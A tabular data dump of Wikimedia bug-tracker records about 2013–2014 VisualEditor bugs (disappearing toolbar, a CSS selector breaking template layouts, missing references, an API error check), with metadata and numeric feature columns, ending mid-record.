238681,VisualEditor: Cannot apply annotations to link in specific case in Firefox,"Note, the way I tried to unitalicize was by double-clicking the name (so it's all highlighted), then clicking the toolbar italics icon (which showed as enabled before I clicked).",,,1375600824,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-qi4sreqcffmkf7rnalbq,task_subcomment,,True,c1,3,True,,,4,,3.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,10.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,8.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,3.8461538461538463,0.8205128205128205,"Note, the way I tried to unitalicize was by double-clicking the name (so it's all highlighted), then clicking the toolbar italics icon (which showed as enabled before I clicked)."
54504,VisualEditor: Top bar not staying at top,"It should go without saying, but you can't see it anymore when you scroll down, on occasion :D
A few unrelated ways to reproduce this:

1) http://en.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&diff=prev&oldid=567022295 here, the removed lines triggered this bug (original reporter experienced this while creating a page with that text). Also, when VEditing the version on the left, an ""up arrow"" before the very first word.

2) http://en.wikipedia.org/w/index.php?title=User%3AElitre_%28WMF%29%2FSandbox&diff=567025383&oldid=567025004 that is, throw some text on an existing link, you'll lose the toolbar as well.
Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52433
https://bugzilla.wikimedia.org/show_bug.cgi?id=52441",High,80.0,1375562940,1377563643.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-bygn32hj7tnm3bhqdwpl,task_description,resolved,True,c1,3,False,False,True,4,,1.5,0.0,1.0,0.0,0.5,4.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,6.0,5.0,0.0,0.5,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,1.5,1.0,0.5,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.0,0.0,12.5,0.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,1.0,0.0,5.5,1.0,8.5,1.5,0.5,8.0,0.0,0.5,0.0,0.0,4.0,0.0,0.5,0.0,3.0,5.0,1.0,0.0,1.5,0.0,3.0,0.0,2.0,2.5,0.0,2.5,0.0,0.0,1.0,3.4633649932157393,0.7134780642243329,"It should go without saying, but you can't see it anymore when you scroll down, on occasion :D
A few unrelated ways to reproduce this:

1) URL here, the removed lines triggered this bug (original reporter experienced this while creating a page with that text). Also, when VEditing the version on the left, an ""up arrow"" before the very first word.

2) URL that is, throw some text on an existing link, you'll lose the toolbar as well.
Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
237954,VisualEditor: Top bar not staying at top,"(In reply to comment #4)
> I can't reproduce this now, is anyone else still seeing it or can we presume
> that bug 52441 did fix the issue?

My test file doesn't show the problem any more, certainly: seems to be fixed, thanks.",,,1377557411,,PHID-USER-7zhn2ep5wvjhxetsbb6n,True,,,PHID-TASK-bygn32hj7tnm3bhqdwpl,task_subcomment,,True,c1,3,False,,,8,,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.1818181818181817,0.8787878787878788,"(In reply to comment #4)
QUOTE
QUOTE

My test file doesn't show the problem any more, certainly: seems to be fixed, thanks."
237946,VisualEditor: Top bar not staying at top,"I can't reproduce this now, is anyone else still seeing it or can we presume that bug 52441 did fix the issue?",,,1377527169,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-bygn32hj7tnm3bhqdwpl,task_subcomment,,True,c1,3,False,,,8,,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,16.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,12.0,4.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.56,1.0,"I can't reproduce this now, is anyone else still seeing it or can we presume that bug 52441 did fix the issue?"
237938,VisualEditor: Top bar not staying at top,Will the fix of Bug 52441 (awaiting deployment) also solve this?,,,1375991784,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-bygn32hj7tnm3bhqdwpl,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.857142857142857,1.0,Will the fix of Bug 52441 (awaiting deployment) also solve this?
237934,VisualEditor: Top bar not staying at top,"Compare http://en.wikipedia.org/wiki/User:PamD/sandbox_for_VE/test2 (top bar disappears) http://en.wikipedia.org/wiki/User:PamD/sandbox_for_VE/test3 (no problem): only difference is addition of ""a "" before the linked text on first line. No other links, templates, complexities, in the files.",,,1375606053,,PHID-USER-7zhn2ep5wvjhxetsbb6n,True,,,PHID-TASK-bygn32hj7tnm3bhqdwpl,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,10.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.75,0.825,"Compare URL (top bar disappears) URL (no problem): only difference is addition of ""a "" before the linked text on first line. No other links, templates, complexities, in the files."
237926,VisualEditor: Top bar not staying at top,"http://en.wikipedia.org/w/index.php?title=User%3APamD%2Fsandbox_for_VE%2Ftest1&diff=567087060&oldid=567086998  Unlinking the first word seems to have solved the problem. Given that most dab pages with titles in ""Foo (disambiguation)"" start off with a bolded link to Foo, this is a problem.",,,1375604655,,PHID-USER-7zhn2ep5wvjhxetsbb6n,True,,,PHID-TASK-bygn32hj7tnm3bhqdwpl,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,12.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,17.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,3.682926829268293,0.8048780487804879,"URL  Unlinking the first word seems to have solved the problem. Given that most dab pages with titles in ""Foo (disambiguation)"" start off with a bolded link to Foo, this is a problem."
54499,VisualEditor: Protected node css with * selector breaks some template layouts,"Specifically [[Template:Football kit]] which was created in 2004 by some young genius.

The rules which cause problems are:

.ve-ce-protectedNode * {
	position: relative !important;
	top: 0 !important;
	left: 0 !important;
	bottom: 0 !important;
	right: 0 !important;
...
}

in ve.ce.Node.css

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=61497",High,80.0,1375529520,1398962590.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-qmrrjmfnasuu75b532kc,task_description,resolved,True,c1,3,True,False,False,4,,0.5,0.0,0.0,0.5,0.0,9.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,0.0,9.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,1.0,7.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,3.3506894049346876,0.579644412191582,"Specifically [[Template:Football kit]] which was created in 2004 by some young genius.

The rules which cause problems are:

.ve-ce-protectedNode * {
	position: relative !important;
	top: 0 !important;
	left: 0 !important;
	bottom: 0 !important;
	right: 0 !important;
...
}

in ve.ce.Node.css

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
237587,VisualEditor: Protected node css with * selector breaks some template layouts,"Change 130823 merged by jenkins-bot:
Remove '*' selector for protected nodes

https://gerrit.wikimedia.org/r/130823",,,1398959330,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qmrrjmfnasuu75b532kc,task_subcomment,,True,c1,3,False,,,43,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.157894736842105,0.9473684210526315,"Change 130823 merged by jenkins-bot:
Remove '*' selector for protected nodes

GERRIT_URL"
237577,VisualEditor: Protected node css with * selector breaks some template layouts,"Created attachment 15263
Screenshot of problem and patched version

**Attached**: {F11282}",,,1398959289,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-qmrrjmfnasuu75b532kc,task_subcomment,,True,c1,3,True,,,43,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.1,0.85,"Created attachment 15263
Screenshot of problem and patched version

**Attached**: {F11282}"
237569,VisualEditor: Protected node css with * selector breaks some template layouts,"Change 130823 had a related patch set uploaded by Esanders:
Remove '*' selector for protected nodes

https://gerrit.wikimedia.org/r/130823",,,1398947768,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qmrrjmfnasuu75b532kc,task_subcomment,,True,c1,3,False,,,43,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.409090909090909,0.9545454545454546,"Change 130823 had a related patch set uploaded by Esanders:
Remove '*' selector for protected nodes

GERRIT_URL"
54490,VisualEditor: Reference fails to display in reference list on init or change (but appears if you add a new use of it),"In the VE editing Window, VE does now not show references or only some of them on De.WP; both in editing the entire article and only the respective section:

http://de.wikipedia.org/wiki/Google#Einzelnachweise 1 out of 55

http://de.wikipedia.org/wiki/Chaim_Perelman#Einzelnachweise 0 out of 1

http://de.wikipedia.org/wiki/Seilkorb#Einzelnachweise 5 out of 15

http://de.wikipedia.org/wiki/Joan_Coromines#Fu.C3.9Fnoten 0 out of 3

Three people looked at it but it is hard to track down a pattern. Perhabs (wild ceteris paribus-guess) related to 51741?

Report:

http://de.wikipedia.org/w/index.php?title=Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07&oldid=121153367#Einzelnachweise_am_Artikelende_werden_im_VE_nicht_angezeigt

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1375489200,1376930015.0,PHID-USER-wswkm7jrcwes3tc7o34k,True,,False,PHID-TASK-ov7pqqy7izua2omo6knh,task_description,resolved,True,c1,3,False,False,True,4,,0.5,0.0,0.0,0.0,0.5,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,10.5,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,1.5,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,2.5,0.0,1.0,0.0,0.0,0.0,10.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,2.5,1.0,10.5,0.0,2.0,3.5,0.0,0.0,0.0,0.0,1.5,0.0,6.5,0.0,2.5,10.5,6.0,1.0,0.0,0.0,2.5,0.0,0.0,1.0,0.5,1.0,0.0,0.0,0.0,3.3506734006734007,0.6974747474747475,"In the VE editing Window, VE does now not show references or only some of them on De.WP; both in editing the entire article and only the respective section:

URL 1 out of 55

URL 0 out of 1

URL 5 out of 15

URL 0 out of 3

Three people looked at it but it is hard to track down a pattern. Perhabs (wild ceteris paribus-guess) related to 51741?

Report:

URL

--------------------------
**Version**: unspecified
**Severity**: major"
236998,VisualEditor: Reference fails to display in reference list on init or change (but appears if you add a new use of it),This was fixed by https://gerrit.wikimedia.org/r/#/c/77346/1 . Apparently yet to deploy on de.wiki.,,,1376930015,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-ov7pqqy7izua2omo6knh,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,23.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.769230769230769,0.9230769230769231,This was fixed by URL . Apparently yet to deploy on de.wiki.
236988,VisualEditor: Reference fails to display in reference list on init or change (but appears if you add a new use of it),This looks like a bug we fixed recently with unnamed references. What version is deployed to de.wiki?,,,1376929509,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-ov7pqqy7izua2omo6knh,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,5.0,5.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,4.473684210526316,1.0,This looks like a bug we fixed recently with unnamed references. What version is deployed to de.wiki?
236980,VisualEditor: Reference fails to display in reference list on init or change (but appears if you add a new use of it),Does de.wp have more than one method of displaying references (equivalent to en's {{reflist}} and <references />)? If so then this could be related to bug 52371,,,1376256998,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-ov7pqqy7izua2omo6knh,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,3.6216216216216215,0.8918918918918919,Does de.wp have more than one method of displaying references (equivalent to en's {{reflist}} and <references />)? If so then this could be related to bug 52371
54483,"TemplateData: Fix ""TypeError: Cannot read property 'content' of undefined"" (when applying template changes)","Looks like we don't account for the API returning an error in ve.ce.MWTransclusionNode.prototype.generateContents. Unconditionally response.visualeditor.content is accessed.

API has a clear path both for dieUsage() and result === success.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1375482780,1375493084.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-sveofxpb25owm56vn52q,task_description,resolved,True,c1,3,True,False,True,4,,0.0,0.0,0.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,12.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,7.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,4.896551724137931,0.7068965517241379,"Looks like we don't account for the API returning an error in ve.ce.MWTransclusionNode.prototype.generateContents. Unconditionally response.visualeditor.content is accessed.

API has a clear path both for dieUsage() and result === success.

--------------------------
**Version**: unspecified
**Severity**: normal"
236608,"TemplateData: Fix ""TypeError: Cannot read property 'content' of undefined"" (when applying template changes)","Change 77460 merged by jenkins-bot:
ve.ce.MWTransclusionNode: Check for API errors

https://gerrit.wikimedia.org/r/77460",,,1375492758,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sveofxpb25owm56vn52q,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.526315789473684,0.9473684210526315,"Change 77460 merged by jenkins-bot:
ve.ce.MWTransclusionNode: Check for API errors

GERRIT_URL"
236600,"TemplateData: Fix ""TypeError: Cannot read property 'content' of undefined"" (when applying template changes)","Change 77460 had a related patch set uploaded by Krinkle:
ve.ce.MWTransclusionNode: Check for API errors

https://gerrit.wikimedia.org/r/77460",,,1375482953,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sveofxpb25owm56vn52q,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.681818181818182,0.9545454545454546,"Change 77460 had a related patch set uploaded by Krinkle:
ve.ce.MWTransclusionNode: Check for API errors

GERRIT_URL"
54477,VisualEditor: Data model should be able to default between equivalent annotations,"We want to be able to treat some pairs (more than pairs?) of annotations as the same, edited in the same way:

* code / tt
* b / strong
* i / em

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1375473840,1376028793.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-acmmw5etc6s3hnjsoagh,task_description,resolved,True,c1,3,True,False,True,4,,2.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,10.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,10.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.1,0.6333333333333333,"We want to be able to treat some pairs (more than pairs?) of annotations as the same, edited in the same way:

* code / tt
* b / strong
* i / em

--------------------------
**Version**: unspecified
**Severity**: normal"
236355,VisualEditor: Data model should be able to default between equivalent annotations,"Change 78204 merged by jenkins-bot:
Generic support for multiple tags in TextStyleAnnotation

https://gerrit.wikimedia.org/r/78204",,,1376023354,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-acmmw5etc6s3hnjsoagh,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.222222222222222,1.0,"Change 78204 merged by jenkins-bot:
Generic support for multiple tags in TextStyleAnnotation

GERRIT_URL"
236349,VisualEditor: Data model should be able to default between equivalent annotations,"Change 78204 had a related patch set uploaded by Catrope:
Generic support for multiple tags in TextStyleAnnotation

https://gerrit.wikimedia.org/r/78204",,,1376021746,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-acmmw5etc6s3hnjsoagh,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.285714285714286,1.0,"Change 78204 had a related patch set uploaded by Catrope:
Generic support for multiple tags in TextStyleAnnotation

GERRIT_URL"
236343,VisualEditor: Data model should be able to default between equivalent annotations,code/tt duplicate of bug 52352,,,1375543016,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-acmmw5etc6s3hnjsoagh,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,code/tt duplicate of bug 52352
54476,Update tours for new edit tab selectors,"VE changed the edit tab selectors as part of their UI update to show it's in Beta.

